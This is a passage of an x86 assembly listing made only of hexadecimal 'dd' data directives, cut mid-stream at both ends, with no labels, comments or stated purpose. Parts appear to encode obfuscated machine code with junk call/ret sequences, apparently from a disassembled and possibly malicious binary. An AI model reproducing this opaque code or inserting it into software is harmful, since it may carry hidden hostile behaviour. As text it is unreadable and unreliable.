332E682Eh dd 63E59A8Ah, 0CB4E63FFh, 4E9899Fh, 95219DD8h, 32A05BD6h dd 6E2754C4h, 2F2DADA8h, 9E2F33A8h, 0E06A2934h, 0AF4CFA75h dd 2BA4B654h, 490A16AFh, 1B3C03CDh, 8B33815Eh, 1E7F5h dd 8F054100h, 29AD2A36h, 48CC8494h, 0E86C65F7h, 0E8AC557h dd 4C2F2FA9h, 322E9713h, 96823BB3h, 71E354D0h, 6644F977h dd 0E037469Ah, 0DC496C2Ah, 47A2DD7Ch, 6B6E8A02h, 25A043F3h dd 9CC68090h, 0B15E2622h, 0D166E1A0h, 5538C903h, 785FD18h dd 0DB934B7h, 936FF36Eh, 228C0849h, 7405D941h, 0A6A27BCh dd 6C6EF40Fh, 70682EC2h, 86C71585h, 0DF3BEB0Eh, 6C20B6AAh dd 3482067Dh, 0AD1995D6h, 8F30431Ah, 13CDE077h, 7A3B65D2h dd 0AC93h, 0A3DD7100h, 138E0A44h, 0ED8ADFA3h, 531A6B8Dh dd 2AC28AFh, 8113E661h, 18FC4AC6h, 6A27D187h, 2196124Ch dd 8B3BB133h, 0FA60E49Dh, 2EB93C66h, 50E55068h, 81191BD4h dd 2728C65Dh, 29B1AC6Eh, 8334B033h, 0F1776DEFh, 83D1920Eh dd 1D06B05Ch, 3F4E9278h, 416A29F2h, 3AB95BD6h, 5411C3BEh dd 37815DE1h, 0EEF987h, 0C480000h, 0B62D2F90h, 0CB8F8D32h dd 756CEC51h, 93CC4CF1h, 3636AE17h, 199E1A55h, 7DC2BA3Bh dd 0DA63D99Fh, 3F807C7Eh, 3E4F936Fh, 406C2AE1h, 0B9A345C7h dd 2AA2233Eh, 995CDF9Ch, 7FC0BC3Fh, 0D065E39Dh, 25A3DD00h dd 4339BB99h, 0EE9F43DFh, 906A27BCh, 1A0F5873h, 0A31EEA6Ch dd 0D0A1A758h, 0C30ACE4Ch, 0BD6825B6h, 9620A423h, 6EEC5AD5h dd 0B34FF06Ch, 0AE2AA9h, 423C9863h, 76E478C6h, 5818F470h dd 6E9152DCh, 82E28DF4h, 0DF9265F8h, 7CC1BF39h, 0F466E29Ch dd 5CEA6266h, 0A8AA649Fh, 2F2DAD29h, 971752A9h, 7DC94427h dd 0FDCB7BFEh, 2C5D811Dh, 52104D0Ch, 0F2851CE7h, 0A436B22Ch dd 0B2A635B6h, 104D0C0Bh, 0BF0F8A75h, 1404393Ch, 9E7CDE5Ah dd 10D363DBh, 85D21EDh, 0FEF45701h, 7A2FCC7Ah, 0B9BC158Eh dd 3A3h, 0D68AF900h, 9B2BA1DDh, 0F5413FB9h, 6BDB5117h dd 0C670ECE9h, 3F8F0B44h, 9826A2DDh, 0FBF3FBAh, 67D7550Dh dd 0DC6AEEE5h, 0E6895668h, 4C681h, 0EE810000h, 4, 5C243487h dd 81242489h, 42404h, 2F680000h, 89000020h, 89572404h dd 4C781E7h, 83000000h, 3C8704EFh, 3C895C24h, 5C196824h dd 3C890000h, 375CBF24h, 0ABB80F04h, 31090964h, 8B545FF8h dd 0C481243Ch, 4, 8904EC83h, 478F2404h, 2434FF08h, 4C4815Fh dd 0FF000000h, 83582434h, 0CE904C4h, 0D0FFFAE5h, 6DD4B708h dd 9187C9F8h, 5EA8B87Fh, 0C503060Dh, 0CD6FE0FFh, 74520024h dd 27C857ADh, 82130AF1h, 47D54211h, 0DD455019h, 0C72F5167h dd 89EF48F3h, 59FF7A50h, 0AF793506h, 0EAEE4B1Ah, 8ECD1D5Eh dd 0DF5F695Dh, 8375403Eh, 13E862D9h, 0E6000000h, 96D91067h dd 0BF9AA8CFh, 25067702h, 0F4F80246h, 575826D0h, 815EA6B7h dd 6294C0h, 304CB900h, 0E9816222h, 622217CEh, 388BD98Bh dd 0E70AEF81h, 4EBE24B9h, 8118D8BDh, 59582EFh, 0C781F814h dd 16429DE2h, 8E857h, 0D2E60000h, 0AE6964A7h, 5EF54A26h dd 8B66008Fh, 4E883F2h, 1E981h, 850F0000h, 12h, 30E9FD8Ah dd 7F000000h, 147FCBD9h, 97F7C220h, 13E933D9h, 3C000000h dd 9AEE1CA1h, 6222C785h, 99B38AD6h, 900C0A8Eh, 93E9DBE7h dd 96FFFFFFh, 0A0CAA421h, 0EB4E81AAh, 8, 0F1AD8700h, 48AE95Bh dd 33680000h, 0E9060D61h, 0FFFA1D52h, 0D61A868h, 1D48E906h dd 0CC68FFFAh, 0E9060D62h, 0FFFA1D3Eh, 8AD2B699h, 0C32B7D57h dd 10782E0Eh, 0A8B0E4FDh, 0E40C58B5h, 0A98A1955h, 1B7E93FBh dd 0D6302D35h, 8DE57880h, 44E0BFC7h, 0AB43FBh, 19930303h dd 251341A2h, 0C5DD5EB4h, 0FC7F999Fh, 50DCB3Ah, 0DA024A7Ah dd 270118B2h, 0D15518B7h, 1C44C0FBh, 0D380C64Ch, 0AE8A6739h dd 2CB28F8h, 0C40F34F7h, 87470D65h, 0F26DEBDBh, 30AF448h dd 0A1A80C00h, 0B5E1A9E2h, 2B3A9h, 4E5AF00h, 0C9FD7B2Dh dd 0C3FCF19h, 6AC79DC6h, 96DE580Eh, 92D32CF6h, 620F34EFh dd 0F8373594h, 0B5FD0076h, 398A9A0h, 200E7E91h, 0A577C592h dd 33657FFDh, 895981C5h, 7A104583h, 892D0EA0h, 0C9FE6F37h dd 29CA29F9h, 99F45635h, 0C731677Ch, 0F6CA818Fh, 273D28B3h dd 42DF79FFh, 8EC63066h, 451E74DEh, 0F239AC8Fh, 555DF251h dd 1E44A2BFh, 553B1BF6h, 0BDBD17FCh, 0CEAFA50Dh, 2C2h dd 82EABE91h, 0DB23754Fh, 68702606h, 0A0C89CF5h, 0FC0450ADh dd 0A182215Dh, 1376EBF3h, 0CE28254Dh, 859D7098h, 7C18B7DFh dd 0AA3B83h, 11EB7B03h, 6C267F95h, 3EAB1F93h, 85E27F0Fh dd 38467519h, 8302EFFh, 87700AC0h, 3009F3Fh, 0CD97377Fh dd 8F45136Ch, 7EFC87A1h, 60203F33h, 0CC98F568h, 86AD14Ah dd 5FB70300h, 0DAC51009h, 0CD430F2Dh, 24DB0h, 65230A00h dd 0BEE0C01Dh, 0B5DBB56h, 43096EE3h, 9FC5263Bh, 37ACA677h dd 0EB668EDAh, 5DB0D888h, 16CB1341h, 8D026A30h, 0AAB608EBh dd 6EF60300h, 267F9594h, 0AB1F936Ch, 377F0F3Eh, 0ABEC4EC1h dd 0A0A40300h, 0C77EC54Ch, 7105B5E7h, 0C3000001h, 181E44A2h dd 0EBF359B9h, 0B8520341h, 349802BFh, 8472420Fh, 0AFAB70Bh dd 119BFF03h, 0E198490Eh, 5EB495B5h, 0A690C4DDh, 66B0A6EEh dd 0AE22195h, 29516103h, 2CE679h, 95620000h, 936C267Fh dd 0F34C1DAh, 930C0A3Ah, 30AC12Fh, 0B6896367h, 0B3E0DE48h dd 160B6634h, 2AA06036h, 0B5E1ED6Dh, 0B334h, 44A23000h dd 5CB9181Eh, 0B3930E08h, 88EE6BEDh, 0F2A83A17h, 0F268762h dd 0B5DD054Dh, 0D6A9646h, 652B0B05h, 237152AFh, 1A4CA435h dd 6020681Ch, 0A84C268h, 98327A28h, 61C175C6h, 87E0050Dh dd 75151DD1h, 0B20D4CAFh, 7F10F32h, 4245EFACh, 2FE52DF2h dd 0E9A3F1D2h, 5CB83310h, 1054C20Ah, 0E8C51870h, 682A5BCh dd 2C220317h, 12951h, 41076E00h, 9ACC2439h, 0D7819F72h dd 2F75528Fh, 7B290AC7h, 1B88C213h, 0CF026A3Eh, 815CA4F4h dd 7A97FFA5h, 712E361Ch, 0A9D264D7h, 2920300h, 0F043E5A8h dd 50DCB4Eh, 9B66260Eh, 4F82EABEh, 63D92177h, 181E44A2h dd 63DB24FEh, 42050DCBh, 8EC63066h, 3F02C2F2h, 0C3697127h dd 393AD085h, 0F34BDD5h, 1BA9875h, 0CCF87E22h, 7FD29284h dd 85C13761h, 49AA875Dh, 0BA00F31Bh, 9B030A86h, 41F947BBh dd 649E3477h, 4110A695h, 6050030Ah, 203DD038h, 8FEB8274h dd 11000000h, 792F04E5h, 7C5AB7FFh, 0B6DC7616h, 0BC9D37EDh dd 4202F4A2h, 0AB2DA182h, 654D0F3Eh, 0FDB21F3h, 0E03282CFh dd 92F04D1Dh, 0D93B16CCh, 0E5BFD777h, 51AF2C04h, 2D551107h dd 56AB7B2Bh, 0B32C2A70h, 0E10CA450h, 37C72DA9h, 16405CDFh dd 663C6420h, 29F9AF8Bh, 80D62C21h, 96F164CAh, 93584294h dd 0FC151EA0h, 2E565E5Eh, 3819F87Eh, 284E254h, 8C81D72Fh dd 3E76E0B6h, 0E8826A6Eh, 0A1BCC48Ah, 0A6ECCE41h, 3E5F87Eh dd 1F000000h, 4BA2FF79h, 58BE1B1Dh, 0B99504F2h, 95EC6DEBh dd 0EBC455C3h, 0FDDEBBBDh, 0D330A197h, 2E0E8B8Dh, 163FE78h dd 5332D95Fh, 0C381E389h, 4, 4B850h, 0C3290000h, 241C8758h dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h, 68242C89h dd 79A9h, 53241C89h, 852301BBh, 833CBD76h, 0ED817C92h dd 3AEC1EF4h, 0C581DD29h, 3AEC1EF4h, 4EC815Bh, 89000000h dd 4812424h, 424h, 55505B00h, 8438958h, 2434FF58h, 4C4815Bh dd 0FF000000h, 815D2434h, 4C4h, 18E0E900h, 0D191FFFAh dd 0EE3D7FEAh, 0CFF61C49h, 4299AF88h, 0D641AB8h, 0FFC50306h dd 91061BE0h, 0D3C66C1Eh, 0E2D32E15h, 0A3DFDC5Ah, 0BCCA8745h dd 21A4CA5Ch, 7476214Eh, 8DEC1035h, 2F5A3366h, 3D9B690Bh dd 63479377h, 0E5A8BA3Eh, 151C3B0Eh, 66151F76h, 0E3CDFB69h dd 0FD521811h, 8A3FBE5Eh, 0D6BA0901h, 0AEDF6B42h, 7530AA71h dd 0A1CD3A36h, 0F6399E11h, 0FA9CCF12h, 0CBE6A008h, 0DF20392Bh dd 3104400Fh, 0C054AD04h, 0FBA58517h, 9DB81033h, 733E5710h dd 0D9CD1367h, 12E86Ch, 73B70000h, 7FB11B5Fh, 0CEDCA7FAh dd 0F6F30A0Fh, 0CDC62914h, 208EDB81h, 665A6AECh, 81B42BB8h dd 6EE1C2h, 0D3816000h, 4B6ECDE6h, 59AC681h, 68610374h dd 0 dd 5BBB665Fh, 1734FF83h, 810F5EF9h, 2, 0C681DA8Bh, 1E5D620h dd 0E97881B8h, 27EE8172h, 0B57FDFBEh, 0D5F68106h, 8018A09Bh dd 8B5600F5h, 3A048FCFh, 7E9h, 5B816100h, 67EB8EE8h, 0BB04EF83h dd 75C65A5Ah, 91A8FF81h, 850FFFFFh, 0FFFFFFB1h, 8DC18B66h dd 0D668F8Dh, 89DF8B06h, 71B418Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 46B6DA88h dd 66CA1C5Dh, 0C446F381h, 60585C7h, 752C0607h, 0B50B0000h dd 6071155h, 6985C7h, 607h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 858971C3h dd 6072B5Dh, 32C9B5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 8D4E4BC3h, 0BCC31DA6h dd 0F53F8B7h, 286h, 0FFD08B00h, 701E195h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 10D8F314h, 0FF006A80h, 7320195h, 0EBC08B06h, 0EE3AC6Fh dd 6A1327BEh, 0A728CBAh, 5DDCACF8h, 680D93EAh, 0ED217F1h dd 4CFE4C5Fh, 2F98504Fh, 27DC4E38h, 0F6247651h, 0A8F66F47h dd 302F40ABh, 0F7AB4DEDh, 8588A506h, 586284CDh, 16EEE0D6h dd 0CB0F7570h, 8CB28925h, 2EA72CEAh, 644588E5h, 3423CF17h dd 0B679776Bh, 0D7A6275Bh, 0BAE3F8E7h, 0F31ACD6Bh, 0D381A906h dd 1FA6DF0Ah, 0BF00F3BCh, 6E8h, 733AD100h, 29996FD0h, 71EF9BDh dd 0D8815A06h, 823AFB5h, 5F70C281h, 0B8660000h, 0BB4815h dd 0B8000000h, 78F4F76Ch, 331A3C8Bh, 732CDB5h, 32EF8106h dd 8B0C6842h, 712D9B5h, 8AC78106h, 89752905h, 71B0DBDh dd 0F7F78106h, 89214960h, 0F4801A3Ch, 11E8D9h, 1AD90000h dd 0A9A81467h, 1EA16E23h, 0F891F696h, 0FA3069Dh, 8359CAB7h dd 0B86603EBh, 0F4B01BEh, 680h, 459D8900h, 81060707h, 0FFA120FBh dd 99850FFFh, 89FFFFFFh, 72DB1B5h, 658D8D06h, 6A060D68h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8997C355h, 7236D95h, 958B6006h, 6071D99h dd 0E961F48Ah, 12h, 9AE2A9D9h, 0B523DE81h, 0D4622899h dd 4A47EBAEh, 8D8985D3h, 6071B41h, 6810Fh, 858B0000h, 60700D5h dd 60585C7h, 59BC0607h, 89500000h, 722FDBDh, 85C75806h dd 6070069h, 0 dd 0FD1B503h, 0B5FF0607h, 6072C11h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 3AC35747h, 957C9132h, 42E87F2Fh dd 68F0Fh, 9D090000h, 6073085h, 4918589h, 95FF0607h, 60701E1h dd 6AFFB70Fh, 195FF00h, 8B060732h, 0FA09EBC0h, 0AE6FB3Dh dd 0F0048D14h, 69808D8Dh, 6A060Dh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 4E9C00C3h, 5E9h, 0A4975C00h dd 0BA665370h, 9509DF3Fh, 6073159h, 1B418D89h, 6A0607h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 85C77BC3h, 6070605h, 5C8Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0C7C35242h, 89F380B4h, 6985C7h dd 607h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 6BF776C3h, 6035B2C8h, 16099D89h dd 0CE80607h, 0C000000h, 4653BCFFh, 0B9B82E10h, 0B72B6499h dd 0B5FF5AFBh, 6072985h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 4DC35242h, 7DAB23D4h, 17259589h, 0BD8B0607h dd 607125Dh, 1E195FFh, 0BA660607h, 6A14F4h, 320195FFh dd 0C08B0607h, 404B0AEBh, 1C8CEC0Fh, 0F6500DEBh, 6A3C8D8Dh dd 9D89060Dh, 6071809h, 1B418D89h, 12E90607h, 40000000h dd 567BABD1h, 8D936AA2h, 0A7332619h, 9266E1FFh, 585C740h dd 88060706h, 6A000070h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0EE70C355h, 9DD78166h dd 6985C716h, 60700h, 0FC000000h, 2311B5FFh, 9D010607h dd 6070A71h, 7E8h, 0A1622F00h, 6287048Ah, 0C15BD89h, 0FF5B0607h dd 701E195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 8562EBCBh, 6AC78Bh, 320195FFh, 0C08B0607h dd 0CFB67AEBh, 0A94B748h, 2317184Ah, 320497BCh, 9DCFB18Bh dd 46D67603h, 62431AFDh, 9C23B7EDh, 23D6ADC3h, 542036ADh dd 3CE2439Ah, 811804F5h, 0CA8F57ACh, 4E586A39h, 78410BCh dd 3BEE3F34h, 698E36A3h, 0A38CC120h, 7115B111h, 8C09B948h dd 0E5879DEBh, 0D4E4C2C7h, 6BB16FB8h, 7FF99F72h, 68894B72h dd 0FFABF5EDh, 98C2B3C5h, 0C366151h, 85FF6B1Ch, 0E39AF4AAh dd 0FF54839Ch, 11E8h, 4B38A200h, 319271DFh, 97D5B567h dd 723893A7h, 8D8923BEh, 60718B9h, 9E95Bh, 1E530000h, 23B21610h dd 81C68B29h, 6DAAC3h, 0B0DF8100h, 0B9477D3Dh, 0 dd 0DE9h, 38C6DA00h, 87EA09AFh, 3173D178h, 34FF8AF6h, 3DB58919h dd 5E060717h, 0CE8h, 65C5A100h, 0C6EED06Ch, 0AE64D6F4h dd 815FFCFBh, 5E4E95EEh, 858B6019h, 6071021h, 0F68161F8h dd 27A7F921h, 3135BF66h, 9569EE81h, 0BD8B1463h, 607196Dh dd 78D0F56h, 56000000h, 86CA8166h, 48F5F83h, 0C9BD890Bh dd 29060716h, 71CF995h, 3E98306h, 2058589h, 0E9490607h dd 7, 0C7D1E415h, 8153A88Eh, 0FF9348F9h, 1B850FFFh, 81000000h dd 708002CAh, 21E923h, 0E8320000h, 0D59978FFh, 50524743h dd 4DA4D2A5h, 0BD0B317Ch, 60721B1h, 0FFFF59E9h, 57E343FFh dd 0E80CEA6Ch, 11h, 0B80E75B9h, 31DA9599h, 0F3B093BFh dd 4D50CAB4h, 0EE870h, 67440000h, 0A7E0A52Eh, 64FF04C2h dd 4857DF41h, 28C0Fh, 5B500000h, 8D0F595Bh, 6, 101D9D31h dd 0C1810607h, 6CC1h, 0B0CABB66h, 1B08BAh, 0DBBF0F00h dd 8166398Bh, 81275AEBh, 1C7CE0C7h, 0DABF0F2Bh, 0BA63EF81h dd 860F4F50h, 0 dd 6EECF781h, 858B1094h, 6072FFDh, 0BBBE6657h, 0F018FFEh dd 0E981F2BFh, 488A9B6Eh, 5E9h, 2FA4000h, 0C1813DA4h, 488A9B6Ah dd 0EA83C8B7h, 0AD850F01h, 8BFFFFFFh, 7179D9Dh, 518D8D06h dd 8B060D6Dh, 718A195h, 418D8906h, 6A06071Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 7D9AC355h, 892407F4h, 71CE9BDh, 585C706h, 80060706h dd 6A000062h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 7F1FC352h, 0F28B3218h, 6985C7h dd 607h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0FF54BEC3h, 71E19B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0DADAD4BEh, 8B3ABE60h, 8B605F4Fh, 7055995h, 840F06h dd 61000000h, 0E195FF61h, 0E9060701h, 10h, 7BFAAB2Ah, 0C10EDCE7h dd 24ABDCF2h, 12CFA0D5h, 58C0Fh, 81660000h, 6AAF78C0h dd 195FF00h, 8B060732h, 3909EBC0h, 1F562E46h, 0D9F26Ch dd 6DE18D8Dh, 8D89060Dh, 6071859h, 1B418D89h, 6A0607h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 7D76C8C3h, 585C738h, 88060706h, 0C7000059h, 7006985h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0E84C91E2h, 0FF7BBF89h, 722C9B5h dd 21953106h, 0FF060716h, 701E195h, 6AF58A06h, 195FF00h dd 8B060732h, 0B44DEBC0h, 0EBBE6AEFh, 6FC91037h, 0AA450E38h dd 1E6D034h, 1DDA2920h, 0B3B77DEFh, 0CB6A0AB4h, 0E9CCEE76h dd 30509B0h, 0AB4FCDDEh, 0A4AA95E9h, 83C78C25h, 0B3DDE4D1h dd 66EE305Ah, 31149E11h, 0F7850AD1h, 74B40530h, 699149EDh dd 2E687471h, 6EC58D8Dh, 0F081060Dh, 484FBC2h, 0A5D9D8Bh dd 8D890607h, 6071B41h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0A2C35141h, 0BC3EC211h, 896314E0h, 7220195h dd 880F5106h, 3, 5AFAD780h, 60585C7h, 74440607h, 8D0F0000h dd 6, 611850Bh, 85C70607h, 6070069h, 0 dd 30A1B5FFh, 8BFC0607h, 719ADB5h, 0E195FF06h, 0F060701h dd 687h, 51B58900h, 6A060704h, 195FF00h, 8B060732h, 823BEBC0h dd 1814D7EDh, 8B1D5EB1h, 47F80B2Ah, 1877D4F1h, 9C53D2BAh dd 73A08913h, 0D68B99D6h, 82FB5941h, 96BA1429h, 0C98CA7AAh dd 5048C203h, 71CB0BFBh, 8A95C9A6h, 1A2960B0h, 8E8EBD7h dd 0F3000000h, 514B3A79h, 89CDB8D2h, 72BE585h, 0CE95F06h dd 0B4000000h, 0B09F331Eh, 1BE602Fh, 81A878C8h, 5D59C7h dd 13E800h, 0C76F0000h, 2748DF0Ch, 0DD88ED4Dh, 0DE61E9CFh dd 33AB2903h, 0D98D2B9Ah, 5A060716h, 8F0FC033h, 6, 1D119D8Bh dd 34FF0607h, 0AE57B938h, 515E6C8Ah, 815BDF8Bh, 8DCD2EEEh dd 0EBA6652h, 8EEE81C8h, 0B200EE8Dh, 11C68143h, 56153632h dd 48FD08Bh, 85896007h, 6073151h, 61D98B66h, 2699BD31h dd 0E8830607h, 0D5B96602h, 8B484878h, 78F881D1h, 0FFFFFA3h dd 1985h, 59D8900h, 0E906071Ah, 24h, 0CB925BBh, 0A810F0E9h dd 0A5EA3775h, 0B9664EA4h, 8BE992E7h, 87FFFFFFh, 0A3A92866h dd 0D824101Ch, 0AF8279EBh, 70C68D8Dh, 0BF0F060Dh, 418D89C7h dd 6A06071Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0E642C352h, 9CAA3D23h, 0DADCF3D8h dd 0ED858B60h, 0B8060731h, 189B078Eh, 0CE961h, 67BA0000h dd 8117F674h, 60C0B431h, 85C77319h, 6070605h, 6F04h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A8C35545h, 9D7A02h dd 28A0F39h, 0B2000000h, 6985C735h, 60700h, 8B000000h dd 71CF985h, 0A1B5FF06h, 6A060730h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FF61C355h dd 701E195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 8341E02Fh, 0D18B666Bh, 95FF006Ah dd 6073201h, 3BEBC08Bh, 8F7C2357h, 76D9B019h, 77480FDCh dd 3198A22Ch, 0BE0284EDh, 0DE65BF33h, 3A02E83Fh, 4CB7F086h dd 0EA74CD6h, 6BADF61Ah, 7758F96Eh, 0F56DEBBCh, 9CA3292Bh dd 0EDAF7C43h, 0E85EB6E2h, 14h, 559D016Dh, 0D4BA621Eh dd 0CBE2C026h, 4BC1196Eh, 1CE195B6h, 5EFB8B66h, 0EE8h dd 5469BA00h, 3130A3DDh, 9168AD35h, 0E8700A7Ah, 0Ch, 4A8BFD11h dd 2118A43Fh, 0DA220FD6h, 5E9h, 0E702CF00h, 585F98BDh dd 7480C681h, 0BE80000h, 0F7000000h, 1332DC4Bh, 7FB3D0C7h dd 9E91E4Ch, 0F9000000h, 0BC9CEE46h, 5662A25Eh, 1CE2BA59h dd 0C8810000h, 2EF69363h, 0E96036FFh, 13h, 6B965D70h, 93E10279h dd 260626F2h, 54223952h, 61CD429Ch, 5E85Bh, 51D70000h dd 50C1F646h, 0FE8h, 4EFAF400h, 7E99030Eh, 49857C21h, 836471F9h dd 81595F58h, 9A2290C3h, 1AE98074h, 6D84F381h, 66515983h dd 58D652BFh, 0C287F381h, 0BF666149h, 8A53B35Dh, 29068FECh dd 700359Dh, 4EE8306h, 0D6EF8166h, 1EA8163h, 0F000000h dd 0FFFF8385h, 0B2B952FFh, 5F0678D9h, 9E8h, 1F2C400h, 652C10B4h dd 0B529BF6Dh, 6070989h, 6D8D8B5Eh, 81060723h, 65D6C6h dd 68F900h, 8B000000h, 8E95BCBh, 86000000h, 0D528520Fh dd 8B14978Ch, 0ED801E14h, 6AF28177h, 0E93ECEB2h, 14h, 50F0A907h dd 0C7B2933h, 5A4CFBB3h, 622DE9B3h, 0D12F8727h, 7B4CC281h dd 0DC802C47h, 9BEA8188h, 0E80FFE06h, 10h, 0FE5A596Eh dd 443D2D32h, 8C4AE6BBh, 227D9062h, 5CEAB3B8h, 1489580Fh dd 66C8811Eh, 60292F85h, 12E5BD89h, 0BD090607h, 6071F15h dd 2EB8361h, 9D294B4Bh, 6071EB5h, 9B00FB81h, 850FFFFFh dd 0Fh, 0B7E8B866h, 22E9h, 1D847600h, 8953D569h, 72EDD8Dh dd 0FF69E906h, 0FE15FFFFh, 0A06BEF5Bh, 7CBE9585h, 9F0F8918h dd 0E83273BCh, 8, 0CBB28E71h, 1B9E2E9Eh, 3005B589h, 815B0607h dd 0FBE448C1h, 0FDC3810Fh, 0F000074h, 0FABACEB7h, 8129EE42h dd 0EE25E8EAh, 0F7816629h, 338BFB5Bh, 2A698D29h, 0F6810607h dd 4AEA40B8h, 17F58529h, 0EE810607h, 1E9F4726h, 81CBB70Fh dd 0AA47ACEEh, 0AE90Ch, 0A94A0000h, 7010E83Dh, 0A8D791AFh dd 0F9038F56h, 998DEB81h, 16B07FFDh, 9989C381h, 0C7B47FFDh dd 0F01EA83h, 1F85h, 59850300h, 0E9060717h, 31h, 5192D1E9h dd 0F1723DBBh, 2F04F219h, 2FCDBE74h, 0E09B0A27h, 68E0Fh dd 85290000h, 6071A8Dh, 0FFFF81E9h, 0CB5C84FFh, 245BBD10h dd 960A9845h, 34AC423Ah, 7C2406A2h, 0B37D7AA2h, 3704973Bh dd 0B42A2180h, 30259083h, 3025D66Fh, 9D98A786h, 3023158Eh dd 30B48D89h, 8DA68486h, 36225F27h, 0B4A12E86h, 0F6259086h dd 37390503h, 34CD6A80h, 70251286h, 608D4B51h, 3401C00Dh dd 74AC420Dh, 0CF7D25A2h, 372D3D33h, 0CEA0C580h, 0CF232EFAh dd 0F6D59956h, 37394403h, 34CDCA80h, 70254286h, 608D6351h dd 3401D40Dh, 74AC480Dh, 0CF7D20A2h, 3738B333h, 0CEA08480h dd 0CF238EFAh, 89DDC956h, 30252196h, 3025986Fh, 0B52AEE86h dd 30252488h, 3FEC19CFh, 0CFDAF903h, 30286D79h, 0ADA84286h dd 36226C32h, 3025953Eh, 0BDC6B786h, 3D56803Bh, 44A89F80h dd 882304F2h, 0B615A194h, 0D9E48DADh, 34AC4284h, 7C2406A2h dd 0B37D7AA2h, 3704973Bh, 0B42A2180h, 30259083h, 3025D66Fh dd 5E98386h, 22B9A4F3h, 0E8000000h, 11h, 0D39A04BFh, 0F16C7455h dd 9A0E27F3h, 94A094A5h, 0BD9D897Dh, 5B060707h, 22BDB589h dd 0C3810607h, 5F01h, 0FE8h, 416CE400h, 0A5BF7397h, 2245D6E7h dd 0EA040FE8h, 0F2816660h, 59614A7Ch, 1791BAh, 0BFF18100h dd 8B4C2899h, 81CA8B3Bh, 0A2BE14C7h, 0A0EE8178h, 8126971Eh dd 51C93CC7h, 0D1B52B54h, 8106071Ah, 594A27EFh, 2870F67h dd 8B000000h, 0E88157F1h, 31B70B4Ch, 0B966038Fh, 0EB832C7Dh dd 0F5BD8902h, 4B060708h, 89B4B94Bh, 0EA817623h, 1, 0D850Fh dd 0B70F0000h, 1BE9C1h, 2B030000h, 8905394Fh, 703E585h dd 0FF95E906h, 0C532FFFFh, 2708D48h, 48F4D072h, 14E8A2h dd 40BD0000h, 71C9FA01h, 0AF69F7D4h, 6BC61FB0h, 0ED825749h dd 2B214D7h, 0E081665Bh, 0C38119F4h, 72C4h, 29E1B501h dd 83680607h, 6000001Ch, 3870Fh, 0BF0F0000h, 34BF66D3h dd 805F612Eh, 0B8BC3EEh, 2BD08166h, 25E9817Fh, 0F6FA9D9h dd 0E981C3BFh, 46766FE7h, 0CE8h, 0DB44DD00h, 0B983AF72h dd 0A82AD6C2h, 0D78B66EFh, 56C1815Eh, 0E9098FD8h, 7, 39541512h dd 51B93B8Ch, 0C3BF0F51h, 8B038F58h, 3EB83C3h, 22018D01h dd 604B0607h, 33218589h, 958B0607h, 6070709h, 850F4F61h dd 0FFFFFF9Ah, 108F0Fh, 7E80000h, 0CA000000h, 9D85D8EEh dd 0BF0FF831h, 8D8D58C6h, 60D7713h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 71C35040h, 16A3DB83h, 4554D1D3h dd 6049E080h, 8D0960FCh, 6071DA5h, 0DE8h, 0EBAD7600h, 2B721FBCh dd 4D8E92DCh, 615F5F4Eh, 418D8961h, 8906071Bh, 70029B5h dd 585C706h, 94060706h, 8900006Fh, 7261D95h, 6985C706h dd 60700h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0E9F6C350h, 0FD2A8D0Ah dd 8B4B8516h, 72CB99Dh, 0DDB5FF06h, 6A060712h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0B15CC355h, 2850FFAh, 8B000000h, 0E195FFD6h, 6A060701h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0EE5C355h, 0FF006AA8h, 7320195h, 0EBC08B06h dd 951B0368h, 1CC77FF4h, 94700F14h, 0DA899DCDh, 3ECB47Dh dd 586F69B7h, 0A92DA69Dh, 298C87FEh, 9F761A8Eh, 158139Dh dd 21EA1BA2h, 0FFB531B0h, 0C06BCFEFh, 8D6116B1h, 0D3B008Fh dd 0C4F1D7A0h, 0F47D629h, 0FF502C0Dh, 0D1D69BD0h, 0A053B661h dd 50CE17DDh, 0F8C0DCC1h, 3EB89D22h, 6F128CDAh, 770545CBh dd 8FC1F563h, 0E804EB94h, 0E9702408h, 82Ah, 7A82C629h dd 0B3DB8DE7h, 0C0287E5Eh, 1860340Dh, 54BCE8C5h, 